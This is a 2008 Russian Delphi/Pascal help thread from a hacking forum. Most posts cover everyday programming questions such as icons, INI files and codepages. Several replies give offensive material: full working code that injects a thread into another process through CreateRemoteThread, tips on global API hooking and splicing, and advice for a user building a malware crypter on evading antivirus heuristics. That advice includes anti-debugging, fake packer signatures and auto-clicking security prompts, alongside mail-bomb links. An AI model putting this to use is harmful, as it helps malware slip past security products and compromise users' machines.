2 spyro Скачай Delphi World (онаже 5005 статей по делфи) Очень сильно поможет в начале. Это как бы в нагрузку со всяким книгах дополнительным.
Делпи: отредактировал фаил в ResHacker, сохранил в формате Res, как теберь запаковать чтобы сделать фаил с расширение EXE?
Конешно знаю что это нубский вопрос...
Compile Script - там где надо ,и Save as (win32 pe files)
Compile Script - там где надо
???
ну , кнопочка сверху , над тем что редактируешь (там где надо)
А да, все это я сделал, сохранил фаил в *.Res, как теперь exe сделать?
Сохранить Как ( и выбираешь win32 pe file )
Спс, еще вопрос, как иконку поменять в ResHacker?
begin_end
29.05.2008, 19:52
Честно говоря, не вижу причем тут дельфи, но сменить иконку в ResHacker довольно легко: открываем приложение в ResHAcker, далее Action->Replace icon...->Open file with new icon...->Replace->File->Save as...
Кстати, вот пример (http://himiya.at.tut.by/SetAppIcon.zip) простенькой программки, которая предназначена только для данного действия - смены иконок других программ, написано на Дельфи, исходный код прилагается.
поменялась картинка в папке, но когда запускаеш на панели Пуск старая картинка
xaker-boss
29.05.2008, 22:29
Подскажите как программно поставить паузу в Windows Media плеере?
Если нетрудно напишите кодом, буду вам очень блогодарен
И как сделать так чтобы при сворачивании програма улитала в трей ?
De-visible
29.05.2008, 22:34
Подскажите как программно поставить паузу в Windows Media плеере?
Если нетрудно напишите кодом, буду вам очень блогодарен
WinApi!Или это не в моде?Тебе надо послать сообщение окну!
Вот:
Описание:
function SendMessage(Wnd: HWnd; Msg, wParam: Word; lParam: Longint): Longint;
Посылает сообщение оконной функции указанного окна. Возвpат из функции осуществляется только после обpаботки сообщения.
Параметры:
Wnd: Окно, пpинимающее сообщение или $FFFF для посылки всем всплывающим окнам в системе.
Msg: Тип сообщения.
wParam: дополнительная инфоpмация о сообщении.
lParam: дополнительная инфоpмация о сообщении.
Возвpащаемое значение:
Значение, возвpащенное пpинимающей оконной функцией.
С кодом не помогу, юзай сам, а то ничему не научишься:(
Как поменять иконку 16*16? Эта иконка отабражается в меню пуск
xaker-boss
29.05.2008, 23:34
De-visible извеняюсь конечно, но я некогда неработал с WinApi и незнаю не одной функции.
Ты не мог бы написать код? плиз
НTL файлы типа ico представляют собой не только 1 рисунок. в таком файле их может содержаться несколько, 16/24/32 например. поищи среду разработки таких файлов
O_o
Я выдел сатые значки лижали там в виде комплекта, 48*48, 32*32, 24*24, 16*16, но как так сделать? можно ли это сделать при помощи проги SngIt?
Поскал ниче не нашол..... :(
begin_end: такой вопрос относится к разделу софт-виндовс, там бы быстрее посоветовали нужное ПО, а вообще используй поиск по форуму, вот например нужная тебе программка (https://forum.antichat.ru/showpost.php?p=686227&postcount=2).
как можно защитить программу от внедрения библиотеки методом CreateRemoteThread? на Delphi
Для загрузки библиотеки можно использовать функцию LdrLoadDll из ntdll.dll.
function LdrLoadDll(szcwPath: PWideChar;
pdwLdrErr: dword;
pUniModuleName: PUnicodeString;
pResultInstance: PDWORD): NTSTATUS;
stdcall; external 'ntdll.dll';
Нас интересует параметр pUniModuleName представляющий из себя указатель на строку типа UnicodeString в которой передается имя загружаемой DLL. По указателю pResultInstance будет сохранен адрес MZ заголовка загруженной DLL (параметр hInstance).
Следующий код загружает DLL аналогично функции kernel32 LoadLibraryW:
Function MyLoadLibrary(lpLibFileName: PWideChar): HMODULE;
var
uName: TUnicodeString;
begin
RtlInitUnicodeString(@uName, lpLibFileName);
if (LdrLoadDll(nil, 0, @uName, @Result) > 0) then Result := 0;
RtlFreeUnicodeString(@uName);
end;
Для получения адреса функции cледует использовать LdrGetProcedureAddress.
function LdrGetProcedureAddress(hModule: dword;
dOrdinal: DWORD;
psName: PAnsiString;
ppProcedure: ppointer): NTStatus;
stdcall; external 'ntdll.dll';
Если необходимо обеспечить максимальную скрытность перехвата, то вообще лучше использовать во внедряемом коде только функции Native API.
Процедура копирования участка памяти в процесс:
function InjectMemory(Process: dword; Memory: pointer; Size: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process, nil, Size, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Memory, Size, BytesWritten);
end;
Эта процедура предельно проста, она принимает хэндл открытого процесса, указатель на данные в текущем процессе и размер данных, а возвращает указатель на данные в целевом процессе.
Внедрение процедуры в целевой процесс:
program InjectCode;
uses
Windows,
advApiHook;
type
TRemoteInfo = record
LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
GetProcAddress: function(hModule: HMODULE;
lpProcName: LPCSTR): FARPROC; stdcall;
Kernel32 : array[0..16] of Char;
User32 : array[0..16] of Char;
MessageBoxA : array[0..16] of Char;
nExitThread : array[0..16] of Char;
Text : array[0..16] of Char;
Title : array[0..16] of Char;
end;
{ Процедура внедряемая в процесс }
procedure RemoteThread(RemoteInfo: pointer); stdcall;
var
MessageBox: function(hWnd: HWND; lpText,
lpCaption: PChar; uType: UINT): Integer; stdcall;
ExitThread: procedure(uExitCode: UINT); stdcall;
begin
with TRemoteInfo(RemoteInfo^) do
begin
@MessageBox := GetProcAddress(LoadLibrary(User32), MessageBoxA);
@ExitThread := GetProcAddress(LoadLibrary(Kernel32), nExitThread);
MessageBox(0, Text, Title, 0);
ExitThread(0);
end;
end;
procedure RemoteThreadEnd; begin end; //метка конца кода
var
RemoteInfo: TRemoteInfo;
pInfo, CodeAdr: pointer;
TID: dword;
Process: dword;
StartInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
//Запускаем процесс
ZeroMemory(@StartInfo, SizeOf(TStartupInfo));
StartInfo.cb := SizeOf(TStartupInfo);
CreateProcess(nil, 'notepad.exe', nil, nil, False, 0,
nil, nil, StartInfo, ProcInfo);
Process := ProcInfo.hProcess;
//Заполняем структуру передаваемую внедряемому коду
lstrcpy(RemoteInfo.User32, 'user32.dll');
lstrcpy(RemoteInfo.Kernel32, 'kernel32.dll');
lstrcpy(RemoteInfo.MessageBoxA, 'MessageBoxA');
lstrcpy(RemoteInfo.nExitThread, 'ExitThread');
lstrcpy(RemoteInfo.Text, 'Hello World!');
lstrcpy(RemoteInfo.Title, 'Injected MessageBox');
//получаем адреса используемых API
@RemoteInfo.LoadLibrary := GetProcAddress(GetModuleHandle('kernel32.dll'),
'LoadLibraryA');
@RemoteInfo.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'),
'GetProcAddress');
//копируем в процесс структуру с данными
pInfo := InjectMemory(Process, @RemoteInfo, SizeOf(TRemoteInfo));
//копируем в процесс внедряемый код
CodeAdr := InjectMemory(Process, @RemoteThread,
dword(@RemoteThreadEnd) - dword(@RemoteThread));
//запускаем внедренный код
CreateRemoteThread(Process, nil, 0, CodeAdr, pInfo, 0, TID);
end.
Перед внедрением кода процедуры, необходимо скопировать в память целевого процесса структуру с данными используемыми внедряемым кодом. В этой структуре необходимо передать адреса функций LoadLibary и GetProcAddress, через которые внедряемый код будет загружать используемые библиотеки и получать адреса используемых функций.
введем еще одну процедуру:
function InjectThread(Process: dword; Thread: pointer; Info: pointer;
InfoLen: dword; Results: boolean): THandle;
var
pThread, pInfo: pointer;
BytesRead, TID: dword;
begin
pInfo := InjectMemory(Process, Info, InfoLen);
pThread := InjectMemory(Process, Thread, SizeOfProc(Thread));
Result := CreateRemoteThread(Process, nil, 0, pThread, pInfo, 0, TID);
if Results then
begin
WaitForSingleObject(Result, INFINITE);
ReadProcessMemory(Process, pInfo, Info, InfoLen, BytesRead);
end;
end;
Эта процедура копирует в целевой процесс внедряемый код и структуру с данными для него, после чего запускает внедренный код.
Принимаемые параметры:
Process - хэндл открытого процесса.
Thread - указатель на внедряемый код в текущем процессе.
Info - указатель на структуру с данными.
InfoLen - размер структуры с данными.
Results - необходимость возврата результата. (если true, то функция ожидает завершения удаленного потока и копирует обратно структуру с данными) .
не внедрение библиотеки, а защита от внедрения. интересует именно от createremotethread
Nick_Rimer
30.05.2008, 21:49
для cash$$$
спасибо за столь подробный ответ!! правда, я уже давно знаю, как создавать ресурсы посредством brcc32.exe и файлов *.rc
меня именно шрифты интересовали. Спасибо большое еще раз, буду пробовать!
------------
теперь другой вопрос.. я использую компонент TntRichEdit
можно ли в нем сделать текст по ширине? если да, то как? если нет, то вопрос отпал..
begin_end, сделал библиотеку иконок сохранил как icc как теперь поменять значек?
Nightmarе
30.05.2008, 22:27
Народ! Опять я со своими ламоразмами, в общем как мне сделать у программы такую форму, которую я сам нарисую в фотожопе и она отобразится как обычная форма со всеми компонентами, там кнопки и т.д... которые я на неё кину.
Например есть картинка простой вытянутый круг, круг зелёного цвета а всё лишнее белого например, как из неё форму сделать?
Если нужно в фотожопе юзать альфа-каналы или ещё что, эт я знаю как юзать.
Кто знает, напишите код, желательно не большой, а то я как всегда не пойму...
https://forum.antichat.ru/showpost.php?p=507050&postcount=746
(https://forum.antichat.ru/thread64446.html)
Nightmarе
30.05.2008, 23:11
https://forum.antichat.ru/showpost.php?p=507050&postcount=746
(https://forum.antichat.ru/thread64446.html)
Это типа команда с помощью которой форма и превращяется в нужную картинку?
SetWindowsRgn(Form1.Handle, True);
Выскакивает ошибка, может в uses чё приинклудить надо?
Nightmarе Вообще юзай компонент динамикскинформ( в нем вообще редактор есть для создания собственных скинов) или SUIPack и не заморачивайся.
xaker-boss
30.05.2008, 23:21
Кто знает как программно нажать на кнопку 'Enter' ?
Если незатруднит напишите кодом, плиз
Nightmarе
30.05.2008, 23:23
И ещё один вопрос, есть компоненты: ComboBox1, Edit1 и рядом с программой лежит файл config.ini
В этом файле информация расположенна так:
line1=text1
line2=text2
line3=text3
Как сделать так, чтобы в ComboBox1 появились линии с названием line1, line2, line3. и при выборе скажем line2 в поле Edit1 появлялся текст text2
???
нужно установить такие свойства объекта
skinnfile = path to skinfile
active = true
builtin = true
Кто знает как программно нажать на кнопку 'Enter' ?
Если незатруднит напишите кодом, плиз
можно так:
procedure _Click(wnd: HWND; caption: string);
var
TheChildHandle: HWND;
begin
TheChildHandle := FindWindowEx(wnd, 0, nil, PChar(caption));
SendMessage(TheChildHandle, WM_LButtonDown, 1, 1);
SendMessage(TheChildHandle, WM_LButtonUP, 1, 1);
end;
использование:
procedure TForm1.Button1Click(Sender: TObject);
var
h:HWND;
begin
h:=FindWindow(nil,'Form1');
_Click(h,'Enter');
end;
//Ищет окно с заголовком Form1 и нажимает в нем на кнопку с кепшном Enter =)
2 Nighware
Там просто ошибка! Надо : SetWindowRGN))) А пользоваться так:
procedure TForm1.FormCreate(Sender: TObject);
var
Bmp: TBitmap;
begin
Bmp := TBitmap.Create;
try
Bmp.LoadFromFile('C:\2.bmp');
SetWindowRGN(Form1.Handle, BitmapToRegion(bmp,clwhite), True);
finally
Bmp.Free;
end;
end;
Nightmarе
31.05.2008, 19:56
И ещё один вопрос, есть компоненты: ComboBox1, Edit1 и рядом с программой лежит файл config.ini
В этом файле информация расположенна так:
line1=text1
line2=text2
line3=text3
Как сделать так, чтобы в ComboBox1 появились линии с названием line1, line2, line3. и при выборе скажем line2 в поле Edit1 появлялся текст text2
???
Кто нить плз помогите уже 3 день ничё в голову не лезет!!!
config.ini :
[Combo1]
line1=line
[Combo2]
line2=line
[Combo3]
line3=line
и сам код в OnCreate кинь
var
Ini: Tinifile;
begin
Ini:=TiniFile.Create(ExtractFilePath(paramstr(0))+ 'config.ini');
ComboBox1.Text := ini.ReadString('Combo1','line1',Combobox1.Text);
ComboBox2.Text := ini.ReadString('Combo2','line2',Combobox2.Text);
ComboBox3.Text := ini.ReadString('Combo3','line3',Combobox3.Text);
end;
// писал прямо в формочке на форуме
Nightmarе
31.05.2008, 20:19
config.ini :
// писал прямо в формочке на форуме
Опять не то, программа изначально знает название line2 и уже по нему получает параметр принадлежащий line2.
А мне нужно чтобы программа получала неизвестный список:
line1
line2
line3
(на этом месте могут быть любые слова)
и уже получив их пихнула в один ComboBox, а при выборе из ComboBox какой нить линии уже в поле edit шло значение этой линии.
То есть в тексте такая инфа:
?=?
?=?
?=?
И то и другое неизвестно.
Можно использовать и такой вид:
[Combo1]
?=?
[Combo2]
?=?
[Combo3]
?=?
Где Combo1, Combo2, Combo3 уже известны(но количество линий в файле может быть любым), но то что под вопросом не известно программе.
В любом случае спасибо за помощь!!!
...
ВСЁ! Спасибо мне помогли!!!
BlackSun
01.06.2008, 06:54
[Combo1]
Count=2
Combo0=aaa
Combo1=aaa
Combo2=aaa
Считываешь параметр Count и потом в цикле все остальное ..
procedure TForm1.Button1Click(Sender: TObject);
var nitem,n:integer;
begin
idsmtp1.Host:='smtp.mail.ru';
idsmtp1.port:= 25;
idsmtp1.Username:='anti.killer';
idsmtp1.Password:='*****';
idmessage1.From.address:='anti.killer@mail.ru';
idmessage1.body.text:='asdasd';
idmessage1.Subject:='asdasd';
nitem:=listbox1.ItemIndex;
nitem := 0 to 2 do
idmessage1.Recipients.Add.address:=listbox1.Items[nitem];
idsmtp1.Connect;
idsmtp1.Send(idmessage1);
showmessage('send');
inc(nitem);
idsmtp1.Disconnect();
end;у меня такой код.когда я добовляю три майла в listbox отсылает на все три потому что стоит значение nitem := 0 to 2 do добовляю 4 емайла вызалиет ошибка как сделать чтоб при добовление строк добовлялось в значение nitem := 0 to сюда
Nitem := 0 to listbox1.items.count do
Как то так попробуй
Hellsp@wn
01.06.2008, 13:55
Nitem := 0 to listbox1.items.count do
Nitem := 0 to listbox1.items.count-1 do
Спасибо!Вот еще один вопрос как из мемо построчно перенести текст в listbox?
for i := 0 to ListBox1.items.Count-1 do
memo1.lines.add(ListBox1.items[i]);
procedure TForm1.Button2Click(Sender: TObject);
var i:integer;
begin
for I := 0 to listbox1.Items.count - 1 do
memo1.lines.add(ListBox1.items[i]);
end;
делаю так не переносит
Помойму тут наоборот с listbox в memo
BlackSun
01.06.2008, 15:06
в listbox
for i := 0 to Memo1.Lines.Count - 1 do
ListBox1.Items.Add(Memo1.Lines.Strings[i]);
где можно посмотреть таблицу экспорта ntdll.dll в синтаксисе паскаля?
BlackSun
01.06.2008, 18:37
где можно посмотреть таблицу экспорта ntdll.dll в синтаксисе паскаля?
Теги: ms-rem, NativeApi.pas
---
http://www.wasm.ru/pub/21/files/ring0.rar
и еще вопрос: как вытащить заранее внедренную dll из процесса. Слышал, что нужено в его контексте выполнить FreeLibrary, это так? если так, то можно синтаксис FreeLibrary?
BlackSun
01.06.2008, 20:48
Если из своего процесса:
function KillDll(aDllName: string): Boolean;
var
hDLL: THandle;
aName: array[0..10] of char;
FoundDLL: Boolean;
begin
StrPCopy(aName, aDllName);
FoundDLL := False;
repeat
hDLL := GetModuleHandle(aName);
if hDLL = 0 then
Break;
FoundDLL := True;
FreeLibrary(hDLL);
until False;
end;
Если для чужого, то создавай удаленный поток ..
можно синтаксис FreeLibrary?
http://msdn.microsoft.com/en-us/library/ms683152(VS.85).aspx
Ребят, как в Турбо Паскаль 7.0 писать на русском?
Тоесть смотрите например:
program test;
const
text='Не важно';
begin
writeLn(text);
end.
Так вот, в самой программе когда переставляешь на рус.язык, оно просто не переставляеться, точнее переставляеться, но пишеться всеравно на ENG.
Ну так как же можно вот эту часть "тела" программы: " 'Не важно' " - сделать на русском/украинском?!
BlackSun
02.06.2008, 12:52
В делфи вот так:
procedure MyWriteln(const S: string);
var
NewStr: string;
begin
SetLengtn(NewStr, Length(S));
CharToOem(PChar(S), PChar(NewStr));
Writeln(NewStr);
end;
...
MyWriteln('Русс.яз');
В паскале должно быть по аналогии ..
Для паскаля драйвер должен быть загружен, например, rk.com =))
0verbreaK
02.06.2008, 17:34
Ребят, как в Турбо Паскаль 7.0 писать на русском?
Тоесть смотрите например:
program test;
const
text='Не важно';
begin
writeLn(text);
end.
Так вот, в самой программе когда переставляешь на рус.язык, оно просто не переставляеться, точнее переставляеться, но пишеться всеравно на ENG.
Ну так как же можно вот эту часть "тела" программы: " 'Не важно' " - сделать на русском/украинском?!
Переводи с помощью штирлица в дос кодировку и вставляй в исходник, с помощью блокнота.
найдется всетаки человек который покажет наконец как отследить на delphi обращения к реестру как regmon тонсть тип действия (Чтение создание изменение) и все параметры.....
найдется всетаки человек который покажет наконец как отследить на delphi обращения к реестру как regmon тонсть тип действия (Чтение создание изменение) и все параметры.....
У регмона, исходные тексты открыты. Он написан на WinApi. Разве сложно скачать сырцы и разобраться?
z01b да они есть у меня они на си написаны а с си я пока на ВЫ (((( я думал может есть у кого на delphi дак поделятся для изучения...... ну нет дак нет..... беде ковыряться в кодах си (
0verbreaK
02.06.2008, 19:51
найдется всетаки человек который покажет наконец как отследить на delphi обращения к реестру как regmon тонсть тип действия (Чтение создание изменение) и все параметры.....
найтив апи надо юзать, для получения всех обращений, так как обычные является, только переходниками, к более низким.
найтив апи надо юзать, для получения всех обращений, так как обычные является, только переходниками, к более низким.
Зачем? Никто, почти кроме системы, родной апи не использует, а так можно поставить хуки на RegQueryValueEx и ижес ним и радоваться жизни...
Про хуки - смотри в гугле :) Или справку по апи по функциям типа SetWindowsHookEx
найдется всетаки человек который покажет наконец как отследить на delphi обращения к реестру как regmon тонсть тип действия (Чтение создание изменение) и все параметры.....
Глобальным хуком: драйвер,внедрение (dll,кода) во все процессы,сплайсинг апи и.т.д
Ребят, как в Турбо Паскаль 7.0 писать на русском?
Тоесть смотрите например:
program test;
const
text='Не важно';
begin
writeLn(text);
end.
Так вот, в самой программе когда переставляешь на рус.язык, оно просто не переставляеться, точнее переставляеться, но пишеться всеравно на ENG.
Ну так как же можно вот эту часть "тела" программы: " 'Не важно' " - сделать на русском/украинском?!
Делай так
program test;
function AnsiToDos(mes: String):String;
var
i: Word;
begin
for i := 1 to length(mes) do
case mes[i] of
'А'..'п': mes[i] := Chr(Ord(mes[i]) - 64);
'р'..'я': mes[i] := Chr(Ord(mes[i]) - 16);
Chr(168): mes[i] := Chr(240);
Chr(184): mes[i] := Chr(241);
end;
//для Delphi надо так:
//Result := mes;
//Для Пискаля так:
AnsiToDos := mes;
end;
const
text='Не важно';
begin
writeLn(AnsiToDos(text));
end.
2 0verbreaK
Переводи с помощью штирлица в дос кодировку и вставляй в исходник, с помощью блокнота.
Это ты что то сильно загнул.
Как узнать, загрузилась страница в WebBrowser или возникла ошибка? (403,404 и т.д.)? Заранее спасибо
BlackSun
03.06.2008, 22:11
Как узнать, загрузилась страница в WebBrowser или возникла ошибка? (403,404 и т.д.)? Заранее спасибо
Судя по этим 2м топикам:
http://www.delphikingdom.com/asp/answer.asp?IDAnswer=61209
http://www.delphikingdom.ru/asp/answer.asp?IDAnswer=61118
Норм решения нет, как вариант можешь с помшью ClientSocket загрузить страницу и посмотреть в ответе сервера, если 404 - з нач страницы нет)
Судя по этим 2м топикам:
http://www.delphikingdom.com/asp/answer.asp?IDAnswer=61209
http://www.delphikingdom.ru/asp/answer.asp?IDAnswer=61118
Норм решения нет, как вариант можешь с помшью ClientSocket загрузить страницу и посмотреть в ответе сервера, если 404 - з нач страницы нет)
А как можно получить исходный код страницы, загруженной в WebBrowser?
BlackSun
04.06.2008, 17:48
function WB_GetHTMLCode(WebBrowser: TWebBrowser; ACode: TStrings): Boolean;
var
ps: IPersistStreamInit;
ss: TStringStream;
sa: IStream;
s: string;
begin
ps := WebBrowser.Document as IPersistStreamInit;
s := '';
ss := TStringStream.Create(s);
try
sa := TStreamAdapter.Create(ss, soReference) as IStream;
Result := Succeeded(ps.Save(sa, True));
if Result then ACode.Add(ss.Datastring);
finally
ss.Free;
end;
end;
Нашел сам способ =)
tagsU := WebBrowser1.OleObject.document.all.item(0).innerHT ML;
ShowMessage(tagsU);
Кубик Рубик
05.06.2008, 11:44
Вопросы по object pascal(консольные приложения)
1. Как мне вывести дату на экран? например в формате 05 06 08
2. Можно выводить случайным образом цифры, а как мне выводить случайным образом слова?
можно загнать в массив или перечисляемый тип ток ничего не получается :confused:
Помогите пожалуйста! Спасибо
Вопросы по object pascal(консольные приложения)
1. Как мне вывести дату на экран? например в формате 05 06 08
2. Можно выводить случайным образом цифры, а как мне выводить случайным образом слова?
можно загнать в массив или перечисляемый тип ток ничего не получается :confused:
Помогите пожалуйста! Спасибо
1.http://delphi.about.com/od/beginners/l/blrtldatetime.htm
2. ПихаешЪ нужные слова в массив и потом просто делаешь writeln(mass[random(последний элемент масива)])
Кубик Рубик
05.06.2008, 13:15
у меня не получается слова в массив загнать, как это сделать? Спасибо
Что может быть проще? Генеришь число, а чтобы запихать символ в массив (array of char или string), делаешь
str [i] = chr (number);
у меня не получается слова в массив загнать, как это сделать? Спасибо
var
x :array [0..20] of string;
tmp:integer;
begin
x[0] :='slovo1';
x[1] :='slovo2';
x[2] :='slovo3';
x[3] :='slovo4';
x[4] :='slovo5';
x[5] :='slovo6';
x[6] :='slovo7';
tmp:=random(7);
writeln(x[tmp]);
var
x :array [0..20] of string;
tmp:integer;
begin
x[0] :='slovo1';
x[1] :='slovo2';
x[2] :='slovo3';
x[3] :='slovo4';
x[4] :='slovo5';
x[5] :='slovo6';
x[6] :='slovo7';
tmp:=random(7);
writeln(x[tmp]);
ё-моё!:/
const (ну или var...)
x :array [0..3] of string = ('word1', 'word2', 'word3','word4');
...
writeln(x[random(4)]);
перед использованием Random(x) надо вроде инициализировать генератор случайных цифр процедурой Randomize;
Dephli
Нид хелп вобщем...
пишу прогу другу друг сдать надо зафтра
гонял по тестам нашел косяк начал отлаживать наткнулся на вобще какую то страшную аномалию
у меня совершенно ч0тко зануляется переменная
а потом нис того ни с сего она оказывается равная 6 значному числу
пробывал менять типы..
А сам исходный код может выложешь ? Что проверять-то ?
http://ifolder.ru/6864163
вот сама программа..
procedure TForm1.Button1Click(Sender: TObject);
Type Matrix=array[1..10,1..10] of real;
Mass=array[1..10] of real;
var
m:Byte;
n,nk,k,i,j:integer;
l,R,P,Xp,Yp:real;
X,Y,C:Mass;
////////
x1c,y1c:real;
x2c,y2c,Rc,Xpc,Ypc,Pc:integer;
Xc,Yc:array[1..10] of integer;
s:string;
////////
BEGIN
//вводим данные из формы
P:=StrToFloat(Edit1.Text);
Xp:=StrToFloat(Edit2.Text);
Yp:=StrToFloat(Edit4.Text);
R:=StrToFloat(Edit5.Text);
n:=StringGrid1.ColCount-1;
{считывание элементов таблици в массив}
for i:=1 to StringGrid1.ColCount-1 do
begin
if StringGrid1.Cells[i,1]='' then X[i]:=0
else
X[i]:=StrToFloat(StringGrid1.Cells[i,1]);
if StringGrid1.Cells[i,2]='' then Y[i]:=0
else
Y[i]:=StrToFloat(StringGrid1.Cells[i,2]);
end;
{/считывание элементов таблици в массив}
//Зануляем переменные
nk:=0;
m:=0;
for i:=1 to n do
begin
l:=sqrt(abs(sqr(X[i]-Xp)+sqr(Y[i]-Yp))); // вычисляем расстояние между центрами окружностей
if(l<=R+P)then
begin
k:=1; // если расстояние меньше или равно Сумме радиусов окружностей то у них есть хотябы одно пересечение
if (l<P+R)then k:=2; // если расстояние меньше Суммы радиусов окружностей - одно пересечение
if (l<=P-R)then k:=3; //если расстояние меньше Разности радиуса Р и R то окружность целиком попадает в круг Р и имеет бесконечно много пересечений
end;
if(k>m)then // сравниваем текущее число пересечений с максимальным
begin
m:=k; // если текущее кол-во пересечений больше максимального то присваимаем ему значение максимального
nk:=i;
s:='Номера круга имеющего наибольшее число пересечений '+FloatToStr(nk);
end;
end;
if(nk=0)then s:='нет таких круго';
AboutBox1.Label1.caption:=s;
///ГРАФИК////
y1c:=trunc((AboutBox1.Image1.Height)/2);
x1c:=trunc((AboutBox1.Image1.Width)/2);
y2c:=StrToInt(FloatToStr(y1c)); // Координаты центра графика
x2c:=StrToInt(FloatToStr(x1c)); // Координаты центра графика
AboutBox1.image1.Canvas.Rectangle(0,0,x2c+x2c,y2c+ y2c); // Очищаем график
// переводим величины из вещественного типа в целый
Rc:=StrToInt(FloatToStr(trunc(R)));
Xpc:=StrToInt(FloatToStr(trunc(Xp)));
Ypc:=StrToInt(FloatToStr(trunc(Yp)));
Pc:=StrToInt(FloatToStr(trunc(P)));
AboutBox1.image1.Canvas.Ellipse(x2c+(Xpc-Pc),y2c-(Ypc-Pc),x2c+(Xpc+Pc),y2c-(Ypc+Pc)); // Рисуем Круг Р
AboutBox1.image1.Canvas.TextOut(x2c+Xpc,y2c-Ypc,'P');
// Рисуем круги множества Т
for i:=1 to n do
begin
Xc[i]:=StrToInt(FloatToStr(trunc(X[i])));
Yc[i]:=StrToInt(FloatToStr(trunc(Y[i])));
AboutBox1.image1.Canvas.Ellipse(x2c+(Xc[i]-Rc),y2c-(Yc[i]-Rc),x2c+(Xc[i]+Rc),y2c-(Yc[i]+Rc));
AboutBox1.image1.Canvas.TextOut(x2c+Xc[i],y2c-Yc[i],IntToStr(i));
end;
//Рисуем оси
AboutBox1.image1.Canvas.Moveto(x2c,0);
AboutBox1.image1.Canvas.lineto(x2c,y2c+y2c);
AboutBox1.image1.Canvas.Moveto(0,y2c);
AboutBox1.image1.Canvas.lineto(x2c+x2c,y2c);
//стрелочки
AboutBox1.image1.Canvas.TextOut(x2c+10,10,'y');
AboutBox1.image1.Canvas.Moveto(x2c,5);
AboutBox1.image1.Canvas.lineto(x2c-5,20);
AboutBox1.image1.Canvas.Moveto(x2c,5);
AboutBox1.image1.Canvas.lineto(x2c+5,20);
AboutBox1.image1.Canvas.TextOut(x2c+x2c-10,y2c+10,'x');
AboutBox1.image1.Canvas.Moveto(x2c+x2c,y2c);
AboutBox1.image1.Canvas.lineto(x2c+x2c-20,y2c-5);
AboutBox1.image1.Canvas.Moveto(x2c+x2c,y2c);
AboutBox1.image1.Canvas.lineto(x2c+x2c-20,y2c+5);
AboutBox1.Show;
end;
в отладке
m = 228
почему то
тесты
X 10 20 30 40
Y 10 20 30 40
Xp 50
Yp 50
P = 20
R = 10
должно выводить 4
а выводиш хз что
ссори вопрос снимается
я забыл k занулить
Подскажите чем можно заменить GetModuleFileName ? может связка есть какая нить чтоб напрямую не вызывать функцию? мне конкретно вот именно GetModuleFileName не нужно, но чтобы она получала данные точно такие же как и GetModuleFileName?
может кусок кода какой? спасиба!
BlackSun
07.06.2008, 11:22
Подскажите чем можно заменить GetModuleFileName ? может связка есть какая нить чтоб напрямую не вызывать функцию? мне конкретно вот именно GetModuleFileName не нужно, но чтобы она получала данные точно такие же как и GetModuleFileName?
может кусок кода какой? спасиба!
ParamStr(0) ?
ParamStr(0) ?
Оппа щас посмотрим... может патянет...
Параметр 0 = C:\PROGRAM FILES\BORLAND\DELPHI7\PROJECTS\PROJECT1.EXE
Параметр 1 = -parm1
Параметр 2 = -parm2
РАБОТАЕТТТТТ!!!
спасиба!
пишу криптор на делфи... криптор не палиться всё ништяк... +делает собственный стаб!
он тоже не палиться. начинаю криптовать им и пишет
Heur.rojan.generic
беда..... че можно сделать?
BlackSun
07.06.2008, 15:21
Напичкать SEH фреймами, приватной антиотладкой, запаковать, подменить сигны на upx к примеру .. вариантов много
Напичкать SEH фреймами, приватной антиотладкой, запаковать, подменить сигны на upx к примеру .. вариантов много
Подменить сигны? еслиб я знал какие ловит каспер...
давноб уже переделал )))
0verbreaK
07.06.2008, 16:19
пишу криптор на делфи... криптор не палиться всё ништяк... +делает собственный стаб!
он тоже не палиться. начинаю криптовать им и пишет
Heur.rojan.generic
беда..... че можно сделать?
Приведи код, так лучше будет диагностировать
Приведи код, так лучше будет диагностировать
Хм... че прям исходник всего криптора ))))))))
Подменить сигны? еслиб я знал какие ловит каспер...
давноб уже переделал )))
Не думаю что дело только в сигнах. В твоем случае кричит эвристик. Копай в сторону антиотладки.
0verbreaK
07.06.2008, 17:57
Вставь секцию с сигнатуами криптора каконить,
http://cracklab.ru/art/?action=view&id=465
Подскажите, как приложение заставить работать со скриптом ПХП
BlackSun
08.06.2008, 22:47
Подскажите, как приложение заставить работать со скриптом ПХП
Попробуй поторговатся с ним, водочки налей ..
Старнный вопрос .. заливаешь пхп скрипт на хост, в проге сокетом конектишся к хосту, отправляешь http заголовки, получаешь ответ, парсишь че надо ..
BlackSun а может он имеет в виду чтобы можно было в приложении юзать PHP как встроенный скриптовый язык.
Как анонимно отправить письмо?
0verbreaK
09.06.2008, 13:39
Как анонимно отправить письмо?
Поменяй заголовок отправщика, скачай делфи базу там множество примеров есть и такое тоже
http://delphiworld.narod.ru/
http://delphiworld.narod.ru/base/bomb_mail_boxes.html
http://delphiworld.narod.ru/base/email_silence_send.html
0verbreaK
09.06.2008, 13:40
BlackSun а может он имеет в виду чтобы можно было в приложении юзать PHP как встроенный скриптовый язык.
По всей видимости он имел ввиду работу с гейтом
Вставь секцию с сигнатуами криптора каконить,
http://cracklab.ru/art/?action=view&id=465
Спасибо! вроде сигнатуру добавил как будто UPX запакован... все равно сволочь арёт что вирусняк... главное дело что ниче не палит... если нажмешь пропустить то он его запустит и проактивка промолчит! а как сканировать начинаешь так и орёт Her/troyan.generik... пипец уже хрен знает скока бьюсь.. может руки кривые? )))))))
0verbreaK
09.06.2008, 14:58
Спасибо! вроде сигнатуру добавил как будто UPX запакован... все равно сволочь арёт что вирусняк... главное дело что ниче не палит... если нажмешь пропустить то он его запустит и проактивка промолчит! а как сканировать начинаешь так и орёт Her/troyan.generik... пипец уже хрен знает скока бьюсь.. может руки кривые? )))))))
UPX - уже давно палится АВерами, попробуй другую сигну вставить, например какогонибудь обсидиума.
Можно эмулировать нажатие кнопки, я так делал когда появился kis7, тогда особо никто не знал или не делился как обходить его. точно так же можно эмулировать нажатие кнопок и радиобаттонов в аутпост.
Ребят, поясните мне очень просто в чем фишка констант и переменных, все статьи которые нахожу - немогу понять, объясните просто плизз..
константа - какоето число или выражение которое изменять нельзя, а переменные меняяються, их значения, просто?=\
0verbreaK
10.06.2008, 01:20
константа - какоето число или выражение которое изменять нельзя, а переменные меняяються, их значения, просто?=\
Это общее определение. На примере:
Локальные переменные не могут быть
инициализированы по этому здесь
применяем блок const
